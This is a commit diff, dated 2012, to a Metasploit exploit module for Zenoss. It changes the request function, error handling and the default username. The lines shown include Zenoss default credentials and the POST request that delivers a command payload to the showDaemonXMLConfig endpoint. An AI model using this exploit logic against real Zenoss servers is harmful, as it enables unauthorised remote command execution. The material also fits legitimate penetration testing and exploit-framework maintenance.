Clean up Zenoss exploit + minor improvements

Changed send_request_raw() to send_request_cgi()
 - Removed redundant request headers 'Content-Length'

Added rescue error message for connection failures

Changed username to the default 'admin' account
unstable
bcoles 2012-07-30 18:04:14 +09:30
parent 8d3700cc3c
commit bdf8f1a543
1 changed files with 5 additions and 6 deletions

View File

@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Brendan Coles <bcoles[at]gmail[dot]com>', # Discovery and exploit
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $',
'Version' => '$Revision: 2 $',
'Privileged' => false,
'Arch' => ARCH_CMD,
'Platform' => 'unix',
@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
register_options([
Opt::RPORT(8080),
OptString.new('USERNAME', [true, 'The Zenoss username', 'zenoss']),
OptString.new('USERNAME', [true, 'The Zenoss username', 'admin']),
OptString.new('PASSWORD', [true, 'The Zenoss password', 'zenoss'])
], self.class)
end
@ -91,19 +91,18 @@ class Metasploit3 < Msf::Exploit::Remote
# send payload
print_status("#{@peer} - Sending payload to Zenoss (#{command.length.to_s} bytes)")
begin
res = send_request_raw({
res = send_request_cgi({
'method' => 'POST',
'uri' => "/zport/About/showDaemonXMLConfig",
'data' => "#{postdata}",
'headers' => {
'Content-Length' => postdata.length,
}
})
if res and res['Bobo-Exception-Type'] =~ /^Unauthorized$/
print_error("#{@peer} - Authentication failed. Incorrect username/password.")
return
end
print_status("#{@peer} - Sent payload successfully")
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{@peer} - Connection failed")
rescue
print_error("#{@peer} - Sending payload failed")
end